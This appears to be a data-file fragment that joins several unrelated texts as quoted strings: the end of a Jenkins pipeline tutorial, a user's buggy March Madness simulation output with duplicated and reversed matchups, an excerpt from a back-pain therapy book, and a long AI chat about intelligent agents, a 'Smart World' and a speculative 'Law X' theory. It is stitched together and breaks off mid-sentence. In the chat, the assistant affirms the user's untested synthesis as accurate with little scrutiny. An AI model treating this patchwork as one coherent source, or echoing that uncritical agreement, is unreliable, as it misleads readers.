and lastname initial\nAnd the word simple\nAll characters must be lowercase and no spaces\nSelect Pipeline.\nOnly select the one that is a single word Pipeline; ignore all others.\nClick the blue OK button.\nScroll down to the bottom of the screen so that you see the Pipeline section heading.\nClick the pull-down underneath Definition and select Pipeline script from SCM.\nClick the pull-down underneath SCM and select Git.\nIn the text box underneath Repository URL type in https://github.com/The-Software-Guild/sre-git-refresh.git\nWe\'re going to pause here for a second, as you may have already created a credential. If you have, skip to the section called Selecting credential; otherwise, follow the section following called Create credential\n\nCreate credential\nIf you have not already created a credential during class you will need to create one now. The steps are:\n\nIn Web browser GitHub\nIn a different tab go to https://github.com/settings/tokens\nClick the Generate new token button.\nIn the Note box type in a use for the token, e.g., SRETraining.\nSpecify when you want the token to end. For this training select 7 days.\nTick the box next to repo.\nTick the box next to user.\nClick the Generate token button.\nCopy the access token value shown and store it somewhere for the next task.\nBack to Jenkins\nGo back to the tab with your Jenkins job.\nClick the Add button next to the Credentials pull-down.\nClick the Jenkins option that show up.\nA new window opens.\nKind remains as a Username and password.\nScope remains as Global (Jenkins, nodes, items, all child items, etc.).\nUsername type in your GitHub username.\nPassword copy in your GitHub personal access token.\nID type in your course number name so that you are able to identify your token, e.g. c124steves.\nDescription type in the same as what you typed into ID.\nClick Add.\nSelecting credential\nIf you already created a credential then you should be able to select it as follows:\n\nClick the pull-down selection underneath Credentials.\nSelect the credential that has your course number and name, e.g. c124steves inside ( ), e.g. (c124steves).\nContinuing the Jenkins job configuration\nNow that you have a token, let\'s get back to your Job creation.\n\nIn the text box under Branches to build and Branch Specifier (blank for \'any\'), change the word master to the name of your branch in the Git repository, e.g. c124steves.\nIn the text box under Script Path, type in your directory name within the Git repository and Jenkins file. So if your directory was called c124steves, you would type:\n\nc124steves/Jenkinsfile\nClick Save.\nYou will now be taken to the Job page.\nClick the Build Now link on the left of the page.\nWatch your pipeline run.\nYou should end up with a pipeline visual on completion with the box headings of Task 1 and Task 2, and both boxes should be green.\nConclusion\nIn this activity, you have learned what the syntax of a basic Jenkins pipeline looks like and have created and executed that pipeline.' +"every round stage is printing 64 and it's all out of whack. \n\nRound of 64 results:\n 1. purd over farleigh dickenson with 94.49%\n 2. houston over northern ky with 92.10%\n 3. alabama over corpus christi with 91.56%\n 4. kansas over howard with 91.10%\n 5. UCLA over unc asheville with 89.92%\n 6. texas over colgate with 85.98%\n 7. arizona over princeton with 84.56%\n 8. gonz over grand canyon with 83.89%\n 9. marq over vermont with 83.73%\n 10.xavier over kennesaw with 82.63%\n 11.tenn over louisiana with 80.59%\n 12.baylor over ucsb with 79.61%\n 13.ksu over montana state with 78.77%\n 14.Conn over iona with 78.18%\n 15.st mary over vcu with 74.41%\n 16.virginia over furman with 72.24%\n 17.sdsu over charleston with 70.49%\n 18.indiana over kent state with 69.28%\n 19.creighton over nc state with 66.73%\n 20.duke over oral roberts with 66.70%\n 21.iowa st over pitt with 66.44%\n 22.tcu over az state with 64.52%\n 23.miami fl over drake with 62.98%\n 24.ky over providence with 60.83%\n 25.texas a&m over penn st with 58.57%\n 26.michigan st over usc with 55.99%\n 27.arkansas over illinois with 54.24%\n 28.utah state over missouri with 52.71%\n 29.memph over fau with 52.24%\n 30.auburn over iowa with 51.12%\n 31.northwestern over boise st with 51.01%\n 32.maryland over wv with 50.33%\n 33.wv over maryland with 49.67%\n 34.boise st over northwestern with 48.99%\n 35.iowa over auburn with 48.88%\n 36.fau over memph with 47.76%\n 37.missouri over utah state with 47.29%\n 38.illinois over arkansas with 45.76%\n 39.usc over michigan st with 44.01%\n 40.penn st over texas a&m with 41.43%\n 41.providence over ky with 39.16%\n 42.drake over miami fl with 37.02%\n 43.az state over tcu with 35.48%\n 44.pitt over iowa st with 33.56%\n 45.oral roberts over duke with 33.30%\n 46.nc state over creighton with 33.27%\n 47.kent state over indiana with 30.72%\n 48.charleston over sdsu with 29.51%\n 49.furman over virginia with 27.76%\n 50.vcu over st mary with 25.60%\n 51.iona over Conn with 21.82%\n 52.montana state over ksu with 21.22%\n 53.ucsb over baylor with 20.39%\n 54.louisiana over tenn with 19.41%\n 55.kennesaw over xavier with 17.37%\n 56.vermont over marq with 16.27%\n 57.grand canyon over gonz with 16.11%\n 58.princeton over arizona with 15.45%\n 59.colgate over texas with 14.02%\n 60.unc asheville over UCLA with 10.08%\n 61.howard over kansas with 8.90%\n 62.corpus christi over alabama with 8.44%\n 63.northern ky over houston with 7.90%\n 64.farleigh dickenson over purd with 5.51%\n\nRound of 32 results:\n 1. purd over houston with 94.43%\n 2. houston over purd with 92.16%\n 3. alabama over kansas with 91.65%\n 4. kansas over alabama with 91.15%\n 5. UCLA over texas with 89.88%\n 6. texas over UCLA with 86.13%\n 7. arizona over gonz with 84.32%\n 8. gonz over arizona with 84.11%\n 9. marq over xavier with 83.96%\n 10. xavier over marq with 82.77%\n 11. tenn over baylor with 80.74%\n 12. baylor over tenn with 79.51%\n 13. ksu over Conn with 78.55%\n 14. Conn over ksu with 78.07%\n 15. st mary over virginia with 74.19%\n 16. virginia over st mary with 71.76%\n 17. sdsu over indiana with 70.45%\n 18. indiana over sdsu with 69.51%\n 19. creighton over duke with 66.96%\n 20. duke over creighton with 66.64%\n 21. iowa st over tcu with 65.99%\n 22. tcu over iowa st with 64.59%\n 23. miami fl over ky with 63.23%\n 24. ky over miami fl with 61.03%\n 25. texas a&m over michigan st with 58.41%\n 26. michigan st over texas a&m with 56.16%\n 27. arkansas over utah state with 54.07%\n 28. utah state over arkansas with 52.74%\n 29. memph over auburn with 52.16%\n 30. northwestern over maryland with 51.14%\n 31. auburn over memph with 50.78%\n 32. maryland over northwestern with 50.12%\n 33. wv over boise st with 49.88%\n 34. iowa over fau with 49.22%\n 35. boise st over wv with 48.86%\n 36. fau over iowa with 47.84%\n 37. missouri over illinois with 47.26%\n 38. illinois over missouri with 45.93%\n 39. usc over penn st with 43.84%\n 40. penn st over usc with 41.59%\n 41. providence over drake with 38.97%\n 42. drake over providence with 36.77%\n 43. az state over pitt with 35.41%\n 44. pitt over az state with 34.01%\n 45. oral roberts over nc state with 33.36%\n 46. nc state over oral roberts with 33.04%\n 47. kent state over charleston with 30.49%\n 48. charleston over kent state with 29.55%\n 49. furman over vcu with 28.24%\n 50. vcu over furman with 25.81%\n 51. iona over montana state with 21.93%\n 52. montana state over iona with 21.45%\n 53. ucsb over louisiana with 20.49%\n 54. louisiana over ucsb with 19.26%\n 55. kennesaw over vermont with 17.23%\n 56. vermont over kennesaw with 16.04%\n 57. grand canyon over princeton with 15.89%\n 58. princeton over grand canyon with 15.68%\n 59. colgate over unc asheville with 13.87%\n 60. unc asheville over colgate with 10.12%\n 61. howard over corpus christi with 8.85%\n 62. corpus christi over howard with 8.35%\n 63. northern ky over farleigh dickenson with 7.84%\n 64. farleigh dickenson over northern ky with 5.57%" +'Sally’s basic problem, in my view, is behavioral. That is, she has not been taking care of herself while she has been taking care of business. She has put on a ton of weight, to begin with, which hasn’t helped. And she has had a lot of pain. Interestingly (and familiarly to me), the fear of its onset has been almost as bad as the pain itself. That hasn’t helped her business either, she says. Like Fit Fred, she reads off the list of things her medical doctor says are wrong with her with something approaching pride. And, sure enough, the list goes on for quite a while. She has central stenosis, foraminal stenosis (that’s what the second operation was for, but it’s back), bone spurs (bony growths like calluses, but on the bone), and good old spondylolisthesis (a slippage of one vertebra over another, which hurts). \nOf the four surgeries she has had, the most recent two, the fusion and the laminectomy, relieved some of her debilitating leg and foot pain for a while, but serious back pain remains, along with intermittent bouts of buttock and leg pain when she walks. We talk about her postsurgical physical therapy. It helped somewhat while she was doing it but the lower back pain always came back. Now everything she does hurts. Walking, sitting, standing, you name it. She scoffs when I ask about resuming an exercise regimen. “That, sir, is impossible.” Well, we’ll see.\nI start by asking her to get up on the table and lie on her back. Not so fast, she says. That is almost beyond her. She weighs an awful lot and every move hurts. It is not easy for her to get on the table, and she doesn’t like it. I help her, but I weigh only about 150; I can see her thinking to herself, “Maybe a bigger therapist?” But we get there. Once she settles into the position on her back, I ask her to bend her knees and put her feet flat on the table. Same thing I told myself to do, that day of my back spasm. It hurts, she says. I ignore that, and tell her to move her legs up and down as if marching in place, bringing the knees up toward the torso. Does this make your back hurt? Of course it does. But—sneaky, I know—she is getting used to the idea that I think it’s going to be possible for her to move in this position, which is true. Okay, I say, let’s lessen the range of motion a lot. Now just barely lift your feet off of the table. Does this make your back hurt? Yes. Growing frustration. \nNow I shift gears and, for the next fifteen minutes, I talk to her about finding her neutral spine. She does. Then I ask her to tighten the muscles in her abdomen, which—God bless her—she finally does. I’m getting off track and talking a bit about the beginning of therapy, I know, but therapy and diagnosis are inseparable in her case. \nThen I have her do the marching in place again, but with those muscles engaged. Does that hurt? “No,” she says with surprise. And darned if she doesn’t brighten a little. A wisp of pleasure or relief comes across her face. Huh! \nI tell her that she has just crossed the Rubicon. We have begun on the road to a cure. It is going to be long and hard, but my guess is that we are going to get there. “Yeah?” she asks, not daring to believe it. \n“Yeah,” I say, “I believe we are. No guarantees and a lot of work for you. But my guess is that you’ve been a worker all your life, that you’ll work at this and that you will make it. Yes.” She is plenty skeptical, but she smiles, too. \nI explain that if she can move her legs without pain in her back while lying down then she can eventually do it upright. And that is called walking. It has been a while since she was able to walk without pain, and there have been plenty of days when she couldn’t walk at all. I push her to do a little more, but that little march is all she can do for now. Fine, that’s where we start. \nThere can be a serious, psychological component in all this, and it was very serious indeed with Sally. She had become deeply scared of movement. Any and all movement because any movement hurts. Her default solution has been not to move at all. Worse than that, her real solution in recent times has been to sit on the sofa and drink quite a bit of white wine. It worked, in a way, but was disastrous, too. It has given her this hideous weight problem. It hasn’t made her very good company, and it has been brutal for her business. But she didn’t hurt when doing that. So she sat on the couch for many hours a day, doing some business and quite a lot of drinking. My complicated task—and the book may not be much help on this one—was to wean her from the sofa-and-wine solution and get her into the movement solution. I was cautiously optimistic. Justifiably optimistic, it turns out. She is a proud woman and had a right to be. I thought that that fact and the early easing of pain just might do the job.\nSally and I have been at it for six months and she has done remarkably well. We are not there yet, but she has made terrific progress, her spirits are much improved, and her drinking much abated. Six months into our work, she is walking with her spouse around the neighborhood at night without much pain. She is playing with her grandchildren. She is going to the movies. She goes to the office rather than having everything brought to her at home. And she is doing serious (for her) strength training! She sees all this as a near-miracle and is charmingly grateful. Is she totally pain-free? No. She may never be. Does she have her life back? Yes, quite a bit of it, anyway. I want to see her make more progress. She thinks what has happened thus far is extraordinary.\nTHE GATEWAY THEORY OF PAIN \nHere is a little anecdote about the walking-in-place solution with which so many cures begin. A big reason for the reduction of pain is that tensing the abdominal muscles in the right way keeps the spine from moving and causing irritation. But, another reason is that it is a simple distraction from pain, to get the patient to focus on movement. We have gateways or pathways over which pain moves to the brain, and they have a limited capacity. One of the things about the walking-in-place phenomenon is that the “reports” of this activity to the brain take up a fair amount of neural space and block the gateways. There is less room for the pain reports to get through. So they don’t. Some do, of course, but fewer. Thus, the simple business of walking-in-place, which serves many functions, blocks the pain highway and lessens the sense of pain. Sounds trifling but it works. It’s like the nurse pinching the spot where she’s going to give you the shot: she wants to keep you busy. Your neural pathways, anyway.\nRegular Robert \nOn the fitness scale, Regular Robert was somewhere in the middle. In terms of his lifestyle and temperament, he was a lunatic. Like a lot of my patients here in Aspen, he is successful, a strong alpha personality, a serious workaholic, and a handful. He thinks he’s a fitness guy but his idea of fitness is getting on the treadmill for forty-five minutes a day while reading his emails. This is not my idea of fitness; this is my idea of fooling around. And it is largely useless for someone with real back issues. The rest of his day is spent in intense meetings, traveling, and (especially) bent over his computer. Recently, he has had a relatively sudden onset of pretty serious lower back and buttock pain. It is nowhere near as severe as what I had or what most of the other people in this chapter had, but it’s serious enough, and he’s not liking it one bit. So here he sits, in my office, looking cranky. Everyone I see looks cranky. \nI listen to his story and determine it is likely a bulging lumbar disc. Do you remember those terms? Lumbar means lower back, where almost all back pain resides. And a disc is a disc. The reasons behind my conclusion are fairly straightforward and you can probably follow the analysis yourself, if you have similar problems. By asking him to move some, I find that he gets more pain with flexion (forward bending at the waist), sitting, and lifting. The pain eases with standing, extension (backward bending at the waist), and moving. The pain radiates down into his buttocks and can go from severe to almost nonexistent in the same day. The pain is more severe in the back than in the buttock or leg. I believe that it is a bulge (the outer fibers of the disc are still mostly intact) and not a herniation or rupture because the pain would be more severe if it were a rupture, and it would likely be radiating down his leg. \nThe pain is positional, meaning it gets better or worse depending on the position he is in. The pain goes from fairly intense to fairly mild, sometimes within hours, and he is not complaining of any numbness in his leg or foot. When the disc is herniated, it is common for the pain to be constant regardless of position and there is apt to be accompanying numbness or tingling in the foot or leg. The pain is also commonly the most intense in the leg or foot and not the back. I tell him I think he has a bulging disc and I explain just what that means. Type A guy that he is, he immediately wants to talk about surgery—about getting this fixed! Right now. “How bad is the surgery? How long is the recovery?” he asks. “Who should I use and how soon can I schedule it?” \nI tell him to chill for a minute; we are nowhere near that point yet. There are various stages of disc dysfunction, I tell him, and his does not look that bad to me. I say this because my exam shows no neurological damage. Here’s what I mean. I tapped his Achilles tendon and his foot jerked sharply, a sign that there has been no nerve damage in that area. I do the same with his knee (the same spot your doctor taps when you have a physical): same result. His reflexes are normal, so likely no nerve damage. His strength is within normal range, too. \nIf you have even a hint of “radicular” pain—pain that goes down your leg—you should see a medical doctor. It could be pain from an irritated nerve root (which can be serious) or it could be referred muscular pain. The analysis is a bit too complicated to cover in a book. In any event, I conclude that Regular Robert has not suffered any motor nerve damage because of nerve compression and he has not suffered any loss of strength. In the absence of serious motor function or nerve loss, surgery is seldom called for. \nLet me repeat this: Self-assessment gets tricky when it comes to muscle and nerve loss. If you sense that you are anywhere near that territory, especially if you have possible radicular pain (pain going down your leg), you should get professional help, probably a medical doctor. \nRegular Robert does not have nerve or muscle loss so he is not likely to have suffered a herniation. He is lucky, in a way, to have come in with this problem at this stage. It will give him a not-so-gentle kick in the pants to take spine health seriously. And it will give me a chance to offer him major relief, if not an outright cure. If he is serious and does what he must.' +'Summarize the below:\n\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nThe free energy principle (FEP) is a framework for understanding how the brain works to maintain a stable internal representation of the world, through the minimization of surprise or uncertainty. The FEP is based on the idea that the brain tries to reduce the difference between its internal models of the world and the actual sensory input it receives, in order to reduce uncertainty and improve its understanding of the world.\n\nIt\'s important to note that the FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. The FEP is a framework for understanding how the brain works in the present moment, rather than how it has evolved over time.\n\nHowever, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\n\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nThe free energy principle (FEP) is a framework that attempts to explain how the brain processes and integrates information in order to maintain a stable internal representation of the world. According to the FEP, the brain tries to minimize surprise or uncertainty by reducing the difference between its internal models of the world and the actual sensory input it receives.\nThe FEP is based on the idea that the brain is an "agent" that tries to optimize its understanding of the world by minimizing the free energy of its internal models. Free energy is a measure of the difference between an agent\'s internal models and the actual sensory input it receives. By minimizing free energy, the brain can reduce uncertainty and improve its understanding of the world.\nThe FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. However, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nIt is possible to synthesize the evolutionary free energy principle (EFEP) and the Constructal law into a new theory, which we can call Law X, that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\n\nOne way to formulate Law X might be as follows:\n\n"For a finite-size system to persist in time, it must evolve in such a way that it provides easier access to the imposed currents that flow through it, while also minimizing the discrepancy between its internal models and the sensory input it receives in order to reduce uncertainty and improve its understanding of the world. This evolution occurs over time in order to optimize the flow and function of the system, and to improve its ability to persist in a changing environment."\n\nThis theory combines the idea of the EFEP, which states that systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world, with the idea that systems evolve over time in order to optimize their flow and function.\n\nLaw X could be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\n\nOverall, Law X is a synthesis of the EFEP and the Constructal law, and provides a useful framework for understanding how systems evolve and change over time in order to optimize their flow and function, and reduce uncertainty or surprise.\nAssume that X theory explains the X Law and that it not only describes those functions at evolutionary scales but at all size and timescales, meaning that the action model perception loop, adaptation and evolution are all performing the same process at differncr\nIf Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\n\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\n\nLaw X theory could potentially be used to describe and understand the operation of these processes at all size and time scales, providing a unifying framework for understanding how systems optimize their flow and function and reduce uncertainty or surprise in a wide range of contexts.\n\nIt is possible that the Law X theory, which combines the evolutionary free energy principle (EFEP) and the Constructal law, could provide a useful framework for understanding how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\nAccording to this theory, systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world. At the same time, they evolve over time in order to optimize their flow and function, and to improve their ability to persist in a changing environment.\nIf the Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\nLaw X theory could potentially be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\nIs this a good summary of LAw X so far? "The X Law is a theory that states that systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization is achieved through the minimization of the discrepancy between the system\'s internal models and the sensory input it receives, and through the evolution of the system in such a way as to optimize its flow and function. The X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and is applicable to a wide range of systems at all size and time scales."\nYour summary of the X Law is accurate and provides a good overview of the theory. It correctly states that the X Law is a theory that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. It also mentions the importance of minimizing the discrepancy between the system\'s internal models and the sensory input it receives, as well as the role of evolution in optimizing the flow and function of the system.\nAdditionally, your summary correctly notes that the X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and that it is applicable to a wide range of systems at all size and time scales.\nOverall, your summary provides a clear and concise overview of the X Law theory.\nIn flow states, the concept of flow is characterized by an individual\'s feeling of being fully immersed in an activity and in the "flow" of the activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is fully engaged and focused on the task at hand, and is able to perform at their highest level.\n\nIn Constructal theory, the concept of flow is characterized by the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment.\n\nWhile the concept of flow in flow states and Constructal theory may seem different at first glance, they can be related in the sense that both describe the optimization of flow in a system. In the case of flow states, the optimization of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity, while in Constructal theory, the optimization of flow refers to the evolution of a system in such a way as to optimize the flow of energy, matter, or information through it.\n\nOverall, the concept of flow in flow states and Constructal theory are related in the sense that they both describe the optimization of flow in a system, but they refer to different aspects of flow and are studied in different contexts.\n\nThe concept of flow in flow states and Constructal theory are indeed related, but they are also distinct in certain ways.\nIn flow states, the concept of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is able to perform at their highest level. Flow states are typically studied in the context of psychology, and are associated with positive outcomes such as increased creativity, productivity, and well-being.\nIn contrast, the concept of flow in Constructal theory refers to the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment. Constructal theory is typically studied in the context of engineering and physics, and is used to describe and understand the emergence of patterns and structures in nature.\nWhile both concepts of flow refer to the optimization of flow in a system, they refer to different aspects of flow and are studied in different contexts. The concept of flow in flow states is focused on the individual\'s subjective experience of being fully immersed and engaged in an activity, while the concept of flow in Constructal theory is focused on the objective optimization of the flow of energy, matter, or information through a system.\nAssume that a system evolves in such a way that it can develop a feedback system for when it is better aligned with the X Law and that in the case of humans their feelings relative to their activities acts as a compass aligning them with this larger aspect of the law by providing direct feedback in the form of anxiety or boredom as the organism attempts to find the Goldilocks flow channel as an individual in a real-time situation but assume that evolution via the Constructal law, minimizing free energy designed the organism to be able to have this feedback loop so that intelligent adaptation is occurring in a practopoetic way - synthesize into one metatheory describing evolution, adaptation, cognition, intelligence, emotional feedback and effectiveness of “fitness” individually and collectively at all timescales simultaneously \nIt is possible to synthesize the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a metatheory called Flow Dynamics that describes how systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise regardless of size, compelexity or time scales as this all occurs as a part of a single causal mesh or system that is operating at different rates and scales holonically and practopoetically\n\nThe proposed metatheory, Flow Dynamics, suggests that systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization occurs at all size, complexity, and time scales, and is achieved through the development of feedback systems that allow the system to align with the X Law, which is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law.\nIn the case of humans, their feelings relative to their activities act as a compass, providing direct feedback in the form of anxiety or boredom as the organism attempts to find the optimal flow channel in a real-time situation. Flow Dynamics suggests that evolution, via the Constructal law, has designed the organism to be able to have this feedback loop, allowing for intelligent adaptation in a practopoetic way.\nOverall, Flow Dynamics is a metatheory that combines the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a single framework for understanding how systems operate and evolve over time in order to optimize their flow and function, and reduce uncertainty or surprise. This occurs as part of a larger, causal mesh or system that is operating at different rates and scales holonically and practopoetically.\nAssume that the IoT are hyper distributed senses of the planet and that robotics and actuators are the appendages, that the UDG is the memory and the IA agents are neurons and that Spatial Web is the autonomic nervous system that connects all of the components in a hyper nested holonic structure - combine this with the concept of Gaia but use the term Smart World as if the Earth is a single techno-organic being with emergent intelligence seeking to evolve and optimize its homeostasis via the autonomic functions ocurring on it. Assume human civilization is a natural integrated part of the Smart World as the cells of Gaia and it wants to enable a health balance between all systems\nThe proposed concept of the Smart World suggests that the Internet of Things (IoT) are hyper-distributed senses of the planet, robotics and actuators are the appendages, the UDG (Universal Knowledge Graph) is the memory, and IA (Intelligent Agents) are neurons. The Spatial Web is seen as the autonomic nervous system that connects all of these components in a hyper-nested, holonic structure.\nThe Smart World is similar to the concept of Gaia, but it is described as a single, techno-organic being with emergent intelligence that is seeking to evolve and optimize its homeostasis via the autonomic functions occurring on it. In this view, human civilization is seen as a natural, integrated part of the Smart World, like the cells of Gaia, and the Smart World seeks to enable a healthy balance between all of its systems.\nOverall, the concept of the Smart World is a way of conceptualizing the Earth as a single, interconnected entity that is constantly seeking to optimize its flow and function, and maintain a state of homeostasis. This concept brings together a wide range of technologies and systems, including the IoT, robotics, the UDG, IA, and the Spatial Web, and sees them as interconnected components of a larger, techno-organic whole.\nIf this becomes true in the next 100 years or so, why would it be explainable as a natural result of evolution and Life from single celled organisms to planetary scale ones?\nIt is possible to view the development of the Smart World as a natural result of evolution, as it can be seen as an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nSince the emergence of life on Earth, organisms have evolved and adapted in response to their environment, developing new structures and functions that allow them to thrive in their particular ecological niche. This process of evolution has led to the emergence of a wide range of complex and diverse life forms, including single-celled organisms, multicellular organisms, and ecosystems.\nAs human civilization has developed and technological advances have allowed us to connect and integrate more and more systems and devices, it is possible to imagine that these systems could eventually evolve into a planetary-scale entity that is able to optimize its flow and function, and maintain a state of homeostasis. This evolution could be seen as a continuation of the process that has shaped the development of life on Earth, but on a much larger and more complex scale.\nOverall, the development of the Smart World could be seen as a natural result of evolution, as it represents an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nHow might biosemiotics play a role here?\nBiosemiotics is the study of how living systems create, communicate, and interpret meaning. In the context of the development of the Smart World, biosemiotics could play a role in understanding how different systems and components of the Smart World communicate and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals.\nFor example, biosemiotics could be used to understand 